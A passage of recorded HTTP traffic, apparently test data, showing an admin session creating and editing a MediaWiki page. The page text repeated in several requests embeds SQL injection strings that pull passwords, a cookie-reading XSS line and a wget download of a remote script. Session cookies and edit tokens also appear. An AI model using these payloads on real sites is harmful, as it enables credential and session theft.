C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqXuC7xQ5YbyOLcNk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk--\r\n"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydozHAh3HgQYOsBJB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB--\r\n"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision8=created; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&text=%3D%3D+Install+%3D%3D%0ARun+powershell+and+ls+-la.%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+powershell&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&stashedtexthash=fb470cff5af43ff707bead07ac360a6cef4a06d9&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary51DczGwGUeO3iv04", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun powershell and ls -la.\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ powershell\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04--\r\n"}
{"method": "GET", "target": "/index.php?title=Powershell_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=powershell&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+powershell.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpowershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=po&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1670", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighl